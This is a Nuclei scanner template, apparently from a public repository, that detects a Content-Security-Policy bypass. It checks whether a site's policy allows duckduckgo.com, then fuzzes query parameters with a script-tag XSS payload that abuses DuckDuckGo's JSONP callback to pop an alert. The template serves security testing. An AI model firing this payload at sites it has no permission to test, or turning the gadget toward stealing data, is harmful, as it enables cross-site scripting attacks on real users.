id: duckduckgo-api-csp-bypass

info:
  name: Content-Security-Policy Bypass - DuckDuckGo API
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,duckduckgo-api

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "duckduckgo.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: duckduckgo_api_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://api.duckduckgo.com/?q=x&callback=alert&format=json"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "duckduckgo_api_csp_xss == true"
# digest: 4a0a00473045022100a0ff7c2dc01f84cc3a520c059b184eb27627c6cc8f0dad00730356526d9e3d0502204de12977ba8bd8c42a09910f8c073b6719b21333339a4461533b1818ff33c71a:922c64590222798bb761d5b6d8e72950